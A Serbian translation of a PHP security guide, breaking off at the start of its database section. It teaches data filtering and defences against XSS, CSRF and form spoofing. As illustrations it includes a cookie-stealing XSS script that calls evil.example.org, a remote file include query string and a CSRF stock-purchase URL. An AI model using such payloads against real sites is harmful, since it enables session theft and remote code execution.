



Vodič za PHP bezbednost 1.0 (PHP Security Guide)



Vodič za PHP bezbednost (PHP Security Guide)

Table of Contents

1. Pregled
 - 1.1 Šta je bezbednost?
 - 1.2 Osnovni koraci
 - 1.3 Registracija globalnih promenljivih
 - 1.4 Filtriranje podataka
 - 1.4.1 Metoda pošiljke (The Dispatch Method)
 - 1.4.2 Metod priključenja (The Include Method)
 - 1.4.3 Primeri filtriranja
 - 1.4.4 Pravila davanja imena
 - 1.4.5 Pravovremenost
 - 1.5 Izveštavanje o greškama
2. Procesuiranje formulara
 - 2.1 Podnošenje obmanjivačkog formulara (Spoofed Form Submissions)
 - 2.2 Obmanjivački HTTP zahtev (Spoofed HTTP Request)
 - 2.3 Cross-Site skriptovanje (Cross-Site Scripting)
 - 2.4 Cross-Site falsifikovanja zahteva (Cross-Site request forgeries)
3. Baze podataka i SQL
 - 3.1 Otkrivene podaci pristupa
 - 3.2 SQL ubacivanje (SQL Injection)
4. Sesije
 - 4.1 Fiksacija sesija (Session Fixation)
 - 4.2 Otmica sesije (Session Hijacking)
5. Deljeni hosting (Shared Hosts)
 - 5.1 Izloženi podaci sesija (Exposed Session Data)
 - 5.2 Krstarenje fajl sistemom
6. O (About)
 - 6.1 O ovom vodiču
 - 6.2 O Konzorcijumu za PHP bezbednost
 - 6.3 Dodatne informacije

Vodič za PHP bezbednost (PHP Security Guide): Pregled

Šta je bezbednost?

- Bezbednost je mera, ne karakteristika.

Nesreća je što mnogi softverski projekti smatraju bezbednost jednim jednostavnim zahtevom kome treba izaći u susret. Da li je bezbedno? Ovo pitanje je subjektivno kao kada se pita da li je nešto vruće.

- Bezbednost mora biti usklađena sa troškovima.

Jednostavno je i relativno jeftino omogućiti dovoljan nivo bezbednosti za većinu aplikacija. Međutim, ako su vam potrebe za bezbednošću veoma visoke, iz razloga što štite informacije koje su veoma značajne, onda morate obezbediti veći nivo bezbednosti po većoj ceni. Ovi troškovi moraju biti uključeni u budžet projekta.

- Bezbednost mora biti usklađena sa upotrebljivošću.

Nije neuobičajeno da koraci preuzeti u svrhu povećanja bezbednosti web aplikacije u isto vreme umanjuju njenu upotrebljivost. Šifre, vremenski isteci sesija, i kontrole pristupa kreiraju prepreke za regularnog korisnika. Nekad su ovi postupci neophodni da bi se omogućila adekvatna bezbednost, ali nema jednog rešenja koje je adekvatno za sve aplikacije. Mudro je misliti na vaše regularne korisnike kada uvodite bezbednosne mere.

- Bezbednost mora biti deo dizajna.

Ako ne dizajnirate vašu aplikaciju razmišljajući o bezbednosti, vi ste osuđeni da redovno reagujete na nove bezbednosne propuste. Pažljivo programiranje ne može da nadoknadi loš dizajn.

Osnovni koraci

- Razmatrajte neregularna korišćenja vaše aplikacije.

Siguran dizajn je samo deo rešenja. Tokom razvoja, kada se piše kod, važno je razmatrati neregularne upotrebe vaše aplikacije. Često, žiža je na pravljenju aplikacije da radi kako je zamišljeno, i, dok je ovo neophodno da bi se napravila aplikacija koja pravilno funkcioniše, ne čini ništa da bi se aplikacija napravila bezbednom.

- Obrazujte sebe.

Činjenica da ste ovde je dokaz da vam je stalo do bezbednosti, i, iako to može da zvuči banalno, to je najvažniji korak. Postoje mnogi izvori dostupni na internetu i u štampanom obliku, i nekoliko njih je izlistano u našoj Biblioteci (PHP Security Consortium's Library) na <http://phpsec.org/library/>.

- Ako ništa drugo, FILTRIRAJTE SPOLJNE PODATKE.

Filtriranje podataka je kamen temeljac bezbednosti internet aplikacija u bilo kom jeziku i na bilo kojoj platformi. Inicijalizacijom promenljivih i fitiranjem svih podataka koji dolaze iz spoljnog izvora, rešićete većinu bezbednosnih propusta sa veoma malo truda. Pristup "bele liste" je bolji od pristupa "crne liste". Ovo znači da treba da tretirate sve spoljne podatke neispravnim dok se ne pokažu ispravnim (bolje nego da tretirate sve podatke ispravnim dok se ne pokažu neispravnim).

Registracija globalnih promenljivih

Direktiva `register_globals` je podrazumevano isključena u PHP verziji 4.2.0 i novijim. Iako ne predstavlja bezbednosni propust, ipak je bezbednosni rizik. Zato, uvek treba da razvijate i postavljate aplikacije sa isključenim `register_globals`.

Zašto je to bezbednosni rizik? Dobar primer je teško dati svima, zato što često zahteva posebnu situaciju da se jasno prikaže rizik. Međutim, najčešći primer je onaj koji se nalazi u PHP priručniku:

```
<?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } ?>
```

Sa uključenim `register_globals`, ova stranica može biti zahtevana sa `?authorized=1` u stringu upita da bi se zaobišla nameravana kontrola pristupa. Naravno, ovaj navedeni propust je greška programera, ne `register_globals`, ali objašnjava povećan rizik izazvan direktivom. Bez nje, obične globalne promenljive (poput `$authorized` u primeru) ne bi bile ugrožene podacima unetim od strane klijenta. Najbolja praksa je inicijalizacija svih varijabli i programiranje sa `error_reporting` podešenim na `E_ALL`, tako da korišćenje neinicijalizovane promenljive ne bi bilo previđeno tokom razvoja.

Sledeći primer ilustruje kako `register_globals` mogu biti problematične u sledećoj upotrebi `include` sa dinamičkom putanjom:

```
<?php

include "$path/script.php";

?>
```

Sa uključenim `register_globals`, ova stranica može biti zahtevana sa

`?path=http%3A%2F%2Fevil.example.org%2F%3F` u stringu upita da bi se postigao sledeći rezultat:

```
<?php

include 'http://evil.example.org/?/script.php';

?>
```

Ako je uključena `allow_url_fopen` (a jeste u podrazumevanim podešavanjima, čak i u `php.ini-recommended`), ovo će priključiti `http://evil.example.org/` kao da je u pitanju lokalni fajl. Ovo je veliki bezbednosni propust, i takav je bio pronađen u nekim popularnim open source aplikacijama.

Inicijalizacija promenljive `$path` može da umanjí ovaj navedeni rizik, ali to može takođe i isključivanje `register_globals`. Budući da greška programera može voditi ka neinicijalizovanoj promenljivoj, isključivanje `register_globals` je globalna promena konfiguracije koja mnogo ređe može biti previđena.

Ugodnost je lepa, i oni među nama koji su trebali da ručno rukuju podacima iz formulara u prošlosti je cene. Međutim, korišćenje `$_POST` i `$_GET` superglobalnih nizova je i dalje veoma ugodno, i nije vredan dodatni rizik uključivanja `register_globals`. Iako se uopšte ne slažem sa ocenama koje izjednačuju `register_globals` sa slabom sigurnošću, preporučujem da se isključe.

Dodatno, isključivanje `register_globals` tera programere da brinu o poreklu podataka, a ovo je bitna karakteristika bilo kog programera koji brine o bezbednosti.

Filtriranje podataka

Kao što je rečeno ranije, filtriranje podataka je kamen temeljac bezbednosti web aplikacija, i to je nezavisno od programskog jezika ili platforme. U sebi sadrži mehanizme pomoću kojih se proverava ispravnost podataka koji ulaze i izlaze iz aplikacije, i dobar dizajn softvera može pomoći programerima da:

- Osiguraju da filtriranje ne može biti zaobiđeno,
- Osiguraju da neispravni podaci ne mogu biti prihvaćeni kao ispravni, i
- Identifikuju poreklo podataka.

Mišljenja o tome kako da se osigura da filtriranje podataka ne može biti zaobiđeno se razlikuju, ali postoje dva osnovna pristupa koji su najčešći, i oba daju dovoljan nivo sigurnosti.

Metoda pošiljke (The Dispatch Method)

Jedan metod je da postoji jedan jedini PHP skript dostupan direktno sa interneta (preko URL - a). Sve ostalo su moduli, koji se priključuju pomoću `include` ili `require` naredbi po potrebi. Ovaj metod obično zahteva da `GET` promenljiva bude prosleđena preko svakog URL - a, identifikujući zadatak. Ova `GET` promenljiva se može smatrati zamenom za ime skripta koji bi bio korišćen u dosta jednostavnijem dizajnu. Na primer:

```
http://example.org/dispatch.php?task=print_form
```

Fajl `dispatch.php` je jedini fajl u korenu dokumenta. Ovo omogućava programeru da uradi dve važne stvari:

- Primeni opšte mere zaštite na vrhu `dispatch.php` i da osigura da se ove mere ne mogu zaobići.
- Lako vidi da se filtriranje podataka primenjuje kada je potrebno, fokusiranjem na kontrolu toka posebnog zadatka.

Da dodatno objasnimo ovo, razmotrite sledeći primer `dispatch.php` skripta:

```
<?php

/* Global security measures */

switch ($_GET['task'])
{
    case 'print_form':
        include '/inc/presentation/form.inc';
        break;

    case 'process_form':
        $form_valid = false;
        include '/inc/logic/process.inc';
        if ($form_valid)
        {
            include '/inc/presentation/end.inc';
        }
        else
        {
            include '/inc/presentation/form.inc';
        }
}
```

```

        break;

    default:
        include '/inc/presentation/index.inc';
        break;
}

?>

```

Kada bi ovo bio jedini javni PHP skript, onda bili trebalo da bude jasno da dizajn ove aplikacije osigurava da bilo koje opšte bezbednosne mere preduzete na vrhu ne mogu biti zaobiđene. Takođe, omogućava da programer lako vidi kontrolu toka za specifični zadatak. Na primer, umesto da gleda velike količine koda, lako je videti da je `end.inc` jedini prikazan korisniku kada je `$form_valid` postavljen na `true`, i pošto je inicijalizovana kao `false` neposredno pre nego što je `process.inc` priključen, jasno je da logika unutar `process.inc` mora videti da je postavljen na `true`, u suprotnom, formular je ponovo prikazan (sa pretpostavljenom prikladnom porukom o grešci).

Note

Ako koristite indeks fajl direktorijuma poput `index.php` (umesto `dispatch.php`), možete koristiti URL - ove kao `http://example.org/?task=print_form`.

Takođe, možete koristiti Apache `ForceType` direktivu ili `mod_rewrite` da prilagodite URL - ove poput `http://example.org/app/print-form`.

Metod priključenja (The Include Method)

Drugi metod je da imate jedan modul koji je odgovoran za sve bezbednosne mere. Ovaj modul je priključen na vrhu (ili veoma blizu vrhu) svih PHP skripti koji su javni (dostupni preko URL - a). Razmotrite sledeći `security.inc` skript:

```

<?php
switch ($_POST['form'])
{
    case 'login':
        $allowed = array();
        $allowed[] = 'form';
        $allowed[] = 'username';
        $allowed[] = 'password';

        $sent = array_keys($_POST);

        if ($allowed == $sent)
        {
            include '/inc/logic/process.inc';
        }

        break;
}

?>

```

U ovom primeru, za svaki formular koji je prosleđen je očekivano da ima promenljivu po imenu `form` koja ga

jedinstveno identifikuje, i `security.inc` ima odvojene slučajeve da rukuje filtriranjem podataka za svaki posebni formular. Primer HTML formulara koji odgovara ovim zahtevima je kao što sledi:

```
<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:
<input type="text" name="username" /></p>
<p>Password:
<input type="password" name="password" /></p>
<input type="submit" />
</form>
```

Niz po imenu `$allowed` je korišćen da bi se identifikovalo tačno koja promenljiva form je dozvoljena, i ova lista mora biti identična da bi se formular uopšte obrađivao. Kontrola toka je određena na drugom mestu, i `process.inc` je mesto gde se konkretno filtriranje podataka događa.

Note

Dobar način da osiguramo da je `security.inc` uvek priključena na vrhu svakog PHP skripta je da koristimo `auto_prepend_file` direktivu.

Primeri filtriranja

Važno je imati pristup "bele liste" prilikom filtriranja podataka, i iako je nemoguće dati primer za svaki tip podataka koje možete susresti, nekoliko primera mogu pomoći da ilustrujemo razuman pristup.

Sledeće proverava email adresu:

```
<?php

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email']))
{
    $clean['email'] = $_POST['email'];
}

?>
```

Sledeće garantuje da je `$_POST['color']` red, green, ili blue:

```
<?php

$clean = array();

switch ($_POST['color'])
```

```

{
    case 'red':
    case 'green':
    case 'blue':
        $clean['color'] = $_POST['color'];
        break;
}

?>

```

Sledeći primer garantuje da je `$_POST['num']` integer (ceo broj):

```

<?php
$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>

```

Sledeći primer osigurava da je `$_POST['num']` broj sa pokretnim zarezom:

```

<?php
$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>

```

Pravila davanja imena

Svaki od navedenih primera koristi niz po imenu `$clean`. Ovo ilustruje dobru praksu koja može pomoći programerima da identifikuju da li je podatak potencijalno štetan. Nikad ne bi trebalo da praktikujete da proverite podatke i ostavite ih u `$_POST` ili `$_GET`, zato što je bitno za programere da uvek budu sumnjičavi o podacima iz ovih superglobal nizova.

Dodatno, mnogo slobodnija primena `$clean` može omogućiti da se da se sve ostavlo smatra štetnim, i ovo bliže podseća na pristup "bele liste" i zato omogućava povišeni stepen bezbednosti.

Ako smeštate podatke u `$clean` samo nakon što su provereni, jedini rizik u propustu da proverite nešto je da možete da se pozovete na element niza koji ne postoji, nego na potencijalno štetan podatak.

Pravovremenost

Kada počne procesuiranje PHP skripta, kompletan HTTP zahtev je bio primljen. Ovo znači da je korisnik nema drugu priliku da pošalje podatke, i zbog toga nikakvi podaci ne mogu biti ubačeni u vaš skript (čak i ako su `register_globals` uključene). Zbog toga je inicijalizacija vaših promenljivih tako dobra praksa.

Izveštavanje o greškama

U verzijama PHP pre PHP 5, koja je puštena 13. jula 2004, izveštavanje o greškama je dosta jednostavno. Pored pažljivog programiranja, oslanja se uglavnom na nekoliko specifičnih PHP konfiguracionih direktiva:

- `error_reporting`

Ova direktiva podešava nivo izveštavanja o greškama na željeni nivo. Preporučuje se da se ono podesi na `E_ALL` i za razvoj i za produkciju.

- `display_errors`

Ova direktiva određuje da li će greške biti prikazane na ekranu (uključene u izlaz). Uvek bi trebali da razvijate sa ovim podešenim na `On`, tako da bi ste mogli da budete obavešteni na greške tokom razvoja, i trebalo bi da je podesite na `Off` za produkciju, tako da se greške sakriju id korisnika (i potencijalnih napadača).

- `log_errors`

Ova direktiva određuje da li bi greške trebalo da budu zapisane u dnevnik grešaka. Iako ovo može da potegne pitanje performansi, poželjno je da su greške retke. Ako popisivanje greški predstavlja napor za disk zbog veličine I/O saobraćaja, verovatno imate veće brige od performansi vaše aplikacije. Trebalo bi da je podešeno na `On` u produkcionim uslovima.

- `error_log`

Ova direktiva upućuje na lokaciju fajla dnevnika u kome se upisuju greške. Pobrinite se da web server ima privilegija za pisanje za navedeni fajl.

`error_reporting` podešeno na `E_ALL` pomaže da se sprovede inicijalizacija promenljivih, iz razloga što pozivanje na nedefinisano promenljivu generiše upozorenje.

Note

Svaka od ovih direktiva može biti podešena uz pomoć `ini_set()`, u slučaju da nemate pristup `php.ini` fajlu ili drugim metodama za podešavanje ovih direktiva.

Dobra napomena o svih funkcijama koje se bave rukovanjem i obaveštavanjem o greškama je u PHP priručniku:

<http://www.php.net/manual/en/ref.errorfunc.php>

PHP 5 uvodi rukovanje izuzecima. Za dodatne informacije, pogledajte:

<http://www.php.net/manual/language.exceptions.php>

Vodič za PHP bezbednost (PHP Security Guide): Procesuiranje formulara

Podnošenje obmanjivačkog formulara (Spoofed Form Submissions)

Da bi se cenila neophodnost filtriranja podataka, razmotrite sledeći formular, koji se nalazi (hipotetički) na `http://example.org/form.html`:

```
<form action="/process.php" method="POST">
<select name="color">
  <option value="red">red</option>
  <option value="green">green</option>
  <option value="blue">blue</option>
</select>
<input type="submit" />
</form>
```

Zamislite potencijalnog napadača koji snimi ovaj HTML i modifikuje ga kao što sledi:

```
<form action="http://example.org/process.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>
```

Ovaj novi formular može biti lociran bilo gde (web server nije uopšte neophodan, budući da treba samo da je čitljiv preko web čitača), i formular može da se manipiliše po želji. Apsolutni URL koji je korišćen u action atributu omogućava da POST zahtev bude poslat na isto mesto.

Ovo čini veoma lakim eliminisanje bilo kakvih restrikcija sa klijentske strane, bilo da su restrikcije u HTML formularu ili skripta sa klijentske strane namenjene da izvedu neko osnovno filtriranje podataka. U navedenom primeru, `$_POST['color']` ne mora neophodno da bude `red`, `green`, ili `blue`. Veoma lakim postupkom, bilo koji korisnik može da kreira pogodni formular koja može biti iskorišćena za podnošenje bilo kog podatka URL - u koji obrađuje formular.

Obmanjivački HTTP zahtev (Spoofed HTTP Request)

Moćniji, mada manje pogodan način pristup je obmanuti HTTP zahtev. I primeru koji smo upravo objašnjavali, gde korisnik bira boju, rezultujući HTTP zahtev izgleda kao što sledi (predpostavljajući da je izbor `red`):

```
POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red
```

Program `telnet` može biti iskorišćen da se obave neka ad hoc testiranja. Sledeći primer daje jednostavan GET zahtev za `http://www.php.net/`:

```

$ telnet www.php.net 80
Trying 64.246.30.37...
Connected to rsl.php.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net

HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">
...

```

Naravno, možete napisati svoj sopstveni klijent umesto da svojeručno unosite zahteve preko `telnet` - a. Sledeći primer pokazuje kako da se postavi isti zahtev koristeći PHP:

```

<?php

$http_response = '';

$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.php.net\r\n\r\n");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}

fclose($fp);

echo nl2br(htmlentities($http_response));

?>

```

Slanje svojih sopstvenih HTTP zahteva daje vam kompletnu fleksibilnost, i ovo demonstrira zašto je filtriranje podataka na serverskoj strani toliko neophodno. Bez njega, nemate nikakvu garanciju o bilo kojim podacima koja dolaze iz bilo kog spoljnog izvora.

Cross-Site skriptovanje (Cross-Site Scripting)

Mediji su pomogli da cross-site skriptovanje (XSS) postane poznat termin, i pažnja je zaslužena. U pitanju je jedan od najčešćih sigurnosnih propusta u web aplikacijama, i mnoge popularne open source PHP aplikacije pate od konstantnih XSS propusta.

XSS napadi imaju sledeće karakteristike:

- Zloupotreba poverenja koje korisnik ima ka određenom sajtu.

Korisnik ne mora da ima visok nivo poverenja ka bilo kom web sajtu, ali web čitač ima. Na primer, kada web čitač pošalje cookie-je u zahtevu, on veruje web sajtu. Korisnik, takođe, može imati različite navike prilikom pretraživanja ili čak različite nivoe bezbednosnih podešavanja definisane u svojim web čitačima u zavisnosti od sajta koji posećuju.

- U osnovi uključuju web sajtove koji prikazuju spoljne podatke.

Aplikacije sa povišenim rizikom uključuju forume, web mejl klijente, i bilo šta što prikazuje uređeni sadržaj (poput RSS unosa).

- Ubacivanje sadržaja po izboru napadača.

Kada spoljni sadržaj nije pravilno filtriran, može se desiti da prikažete sadržaj po napadačevom izboru. Ovo je isto toliko opasno kao i dopustiti napadaču da obrađuje vaš izvorni kod na serveru.

Kako se ovo može dogoditi? Ako prikazujete sadržaj koji dolazi iz bilo kog spoljašnjeg izvora bez da ga pravilno profilirate, podložni ste XSS napadu. Spoljni podaci nisu limitirani na podatke koji dolaze od klijenta. Ovo takođe podrazumeva e-mail prikazan u web mejl klijentu, baner reklamu, uređeni blog, i slično. Svaka informacija koja nije već u kodu dolazi iz spoljnog izvora, i ovo uopšte znači da je većina podataka spoljašnjeg karaktera.

Razmotrite sledeći pojednostavljeni primer sistema za ostavljanje poruka:

```
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "{$_GET['message']}<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>
```

Ovaj sistem dodaje `
` bilo čemu što korisnik unese, zatim to doda fajlu, i onda prikaže trenutni sadržaj fajla.

Zamislite da korisnik unese sledeću poruku:

```
<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie;
</script>
```

Sledeći korisnik koji poseti sistem sa čitačom u kome je omogućen JavaScript biva preusmeren na `evil.example.org`, i bilo koji Cookie-ji asocirani sa trenutnim sajtom su uključeni u string upita URL-a.

Naravno, pravi napadač ne bi bio ograničen na moj nedostatak kreativnosti ili ekspertize u JavaScript-u. Budite slobodni i predložite bolje (malicioznije?) primere.

Šta činiti? Od XSS napada je zapravo jednostavno odbraniti se. Stvari se komplikuju kada želite da dotvolite neki HTML ili klijentske skripte da budu obezbeđene od spoljnih izvora (kao drugih korisnika) i prikazane na kraju, ali čak ni ove situacije nisu tako teške za kontrolu. Sledeći postupci mogu umanjiti rizik od XSS napada:

- Filtrirajte sve spoljne podatke.

Kao što je napomenuto ranije, filtriranje podataka je najvažniji postupak koji možete usvojiti. Proverom svih spoljašnjih podataka koji ulaze i izlaze iz vaše aplikacije, umanjujete većinu XSS rizika.

- Koristite postojeće funkcije.

Pustite PHP da pomogne u vašoj logici filtriranja. Funkcije poput `htmlspecialchars()`, `strip_tags()`, i `utf8_decode()` mogu biti korisne. Pokušajte da izbegnete reprodukciju nečega što PHP funkcija već radi. Ne samo da su PHP funkcije mnogo brže, već su i mnogo testiranije i manje verovatno sadrže greške koje uzrokuju ranjivosti.

- Koristite pristup bele liste.

Pretpostavite da su podaci loši dok se ne pokažu ispravnim. Ovo podrazumeva proveravanje dužine i obezbeđivanje da su samo ispravni karakteri dozvoljeni. Na primer, ako korisnik podnosi svoje prezime, možete početi tako što ćete dozvoliti samo karaktere alfabeta i prazna mesta. Greška iz opreznosti. Dok će imena `O'Reilly` i `Berners-Lee` biti smatrana neispravnim, ovo je lako popraviti dodavanjem još dva karaktera belo listi. Bolje je odbiti ispravan podatak nego prihvatiti zlonamerne podatke.

- Koristite striktna pravila davanja imena.

Kao što je ranije napomenuto, pravila davanja imena mogu pomoću programerima da jednostavno razlikuju filtrirane i nefiltrirane podatke. Važno je učiniti ove stvari koliko god je moguće jednostavnijima za programere. Nedostatak jasnoće uzrokuje konfuziju, a ona rađa ranjivosti.

Mnogo bezbednija verzija prethodno prikazanog sistema za ostavljanje poruka je kao što sledi:

```
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $message = htmlspecialchars($_GET['message']);
```

```

    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$message<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>

```

Prostom dodavanjem `htmlentities()`, sistem za ostavljanje poruka je sada mnogo bezbedniji. Ne sme biti smatran potpuno bezbednim, ali ovo je verovatno najjednostavniji korak koji možete preduzeti da obezbedite dovoljan nivo zaštite. Naravno, jako se preporučuje da ispratite sve preporuke o kojima smo pričali.

Cross-Site falsifikovanja zahteva (Cross-Site request forgeries)

Uprkos sličnosti u imenu, cross-site falsifikovanja zahteva (CSRF) su skoro potpuno suprotni stil napada. Dok XSS napadi koriste poverenje koje korisnik ima u web sajt, CSRF napadi zloupotrebljavaju poverenje koje web sajt ima u korisnika. CSRF napadi su mnogo opasniji, nepopularniji (što znači manje resursa za programera), i mnogo teži za odbranu od XSS napada.

CSRF napadi ima sledeće karakteristike:

- Zloupotreba poverenja koje sajt ima za određenog korisnika.

Mnogim korisnicima se ne može verovati, ali je uobičajeno za web aplikacije da nude određene privilegije nakon prijavljivanja u aplikaciju. Korisnici sa ovim povišenim privilegijama su potencijalne žrtve (u stvari, nesvesni saučesnici).

- U osnovi uključuju web sajtove koji se oslanjaju na identitet korisnika. Tipično je da identitet korisnika nosi neku težinu. Sa mehanizmom bezbednog rukovanja sesijama, što je izazov po sebi, CSRF napadi i dalje mogu biti uspešni. U suštini, ovakve sredine su gde su CSRF napadi posebno snažni.
- Izvršavanje HTTP zahteva po izboru napadača.

CSRF napadi uključuju sve napade koji obuhvataju da napadač falsifikuje HTTP zahtev od drugog korisnika (u osnovi, varanje korisnika za slanje HTTP zahteva za napadača). Postoji nekoliko različitih tehnika koje mogu biti korišćene da bi se ovo postiglo, i ja ću prikazati neke primere jedne određene tehnike.

S obzirom da CSRF napadi uključuju falsifikovanje HTTP zahteva, važno je prvo ostvariti osnovni nivo poznavanja HTTP.

Web čitač je HTTP klijent, i web server je HTTP server. Klijenti iniciraju transakciju slanjem zahteva, a server kompletira transakciju slanjem odgovora. Tipičan HTTP zahtev je kao što sledi:

```

GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*

```

Prva linja se naziva linija zahteva, i sadrži metod zahteva, URL zahteva (koristi se relativni URL), i verziju HTTP-a. Ostale linije su HTTP zaglavlja (header-i), i svako ime zaglavlja je praćeno zarezom, praznim mestom, i vrednošću.

Možda ste upoznati sa pristupanjem ovim informacijama preko PHP-a. Na primer, sledeći kod može biti korišćen za

ponavljanje pomenutog HTTP zahteva u stringu:

```
<?php

$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

?>
```

Primer odgovora na prethodni zahtev bio bi:

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57
<html>

</html>
```

Sadržaj odgovora je šta vidite kada pogledate izvor (source) u čitaču. `img` tag u ovom zahtevu obaveštava čitač na činjenicu da je potreban još jedano resurs (slika) neophodan za pravilno prikazivanje strane. Čitač zahteva ovaj resurs kao što bi i bilo koje drugo, i sledeće je primer takvog zahteva:

```
GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
```

Ovo je vredno pažnje. Čitač zahteva URL naveden u `src` atributu `img` taga kao da je korisnik ručno došao tamo. Čitač nema način da specifično naglasi da očekuje sliku.

Kombinujte ovo sa onim što ste naučili o formularima, i onda razmotrite URL sličan sledećem:

```
http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000
```

Podnošenje formulara koji koristi `GET` metod može biti potencijalno nerazpoznatljivo od zahteva za sliku - oba mogu biti zahtevi za isti URL. Ako je direktiva `register_globals` uključena, metoda formulara nije ni bitna (osim ako programer koristi `$_POST` i slično). Nadam se da opasnost već postaje jasna.

Još jedna karakteristika čini CSRF tako moćnim je što bilo koji cookie-ji koji pripadaju URL-u su pridruženi tom URL-u. Korisnik koji je ostvario vezu sa `stocks.example.org` (poput da je prijavljen) može potencijalno kupiti 1000 akcija `SCOX` posetom stranici sa `img` tagom koja navodi URL iz pomenutog primera.

Razmotrite sledeći formular koji je lociran (hipotetički) na `http://stocks.example.org/form.html`:

```
<p>Kupite akcije odmah!</p>
<form action="/buy.php">
```

```
<p>Symbol: <input type="text" name="symbol" /></p>
<p>Quantity:<input type="text" name="quantity" /></p>
<input type="submit" />
</form>
```

Ako korisnik unese SCOX za simbol, 1000 kao količinu, i podnese formular, zahtev koji je poslat čitaču je sličan sledećem:

```
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Postoji nekoliko stvari koje možete uraditi da bi zaštitili svoju aplikaciju od CSRF:

- Koristite `POST` rađe nego `GET` u formularima. Navedite `POST` u `method` atributu vaših formulara. Naravno, ovo nije prikladno za sve vaše formulare, ali je prikladno kada formular izvršava akciju, poput kupovine akcija. U suštini, HTTP specifikacija zahteva da se `GET` smatra bezbednom.
- Koristite `$_POST` rađe nego da se oslonite na `register_globals`. Korišćenje `POST` metoda sa podnošenje formulara je beskorisno ako se oslonite na `register_globals` i pozivate se na promenljive iz formulara poput `symbol` i `quantity`. Takođe je beskorisno ako koristite `$_REQUEST`.
- Nemojte se skoncentrisati na ugodnost.

Dok se čini poželjnim da se korisnikovo iskustvo učini što ugodnije, mnogo ugodnosti može imati ozbiljne posledice. Dok pristupi "jednog klika" mogu biti napravljeni jako bezbednim, jednostavna primena je više podložna CSRF.

- Prisilite na korišćenje vaših formulara.

Najveći problem sa CSRF je postojanje zahteva koji izgledaju kao podnesci formulara, ali to nisu. Ako korisnik nije zahtevao stranicu formularom, treba li pretpostaviti da je zahtev koji izgleda kao podnesak tog formulara legitiman i nameravan?

Sada možemo napisati još sigurniji sistem za ostavljanje poruka:

```
<?php

$token = md5(time());

$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
```

```

<?php

$tokens = file('./tokens.txt');

if (in_array($_POST['token'], $tokens))
{
    if (isset($_POST['message']))
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

readfile('./messages.txt');

?>

```

Ovaj sistem za poruke još uvek ima nekoliko sigurnosnih propusta. Možete li ih uočiti?

Vreme je jako predvidivo. Korišćenje MD5 pregleda timestamp zapisa vremena je jadan izgovor za nasumični broj. Bolje funkcije su `uniqid()` i `rand()`.

Još važnije, jako je jednostavno za napadača da obezbedi ispravan znak. Jednostavnom posetom ovoj stranici, ispravan znak je generisan i uključen u izvor. Sa ispravnim znakom, napadaču je jednostavno kao i pre nego što je dodata potreba za znakom.

Evo ga unapređen sistem ostavljanja poruka:

```

<?php
session_start();

if (isset($_POST['message']))
{
    if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />

```

```
<input type="submit">
</form>

<?php
readfile('./messages.txt');
?>
```

Vodič za PHP bezbednost (PHP Security Guide): Baze podataka i SQL

Otkrivene podaci pristupa

Većina PHP aplikacija komuniciraju sa bazom podataka. Ovo obično uključuje povezivanje na server baze podataka i korišćenje podataka pristupa za potvrdu autentičnosti:

```
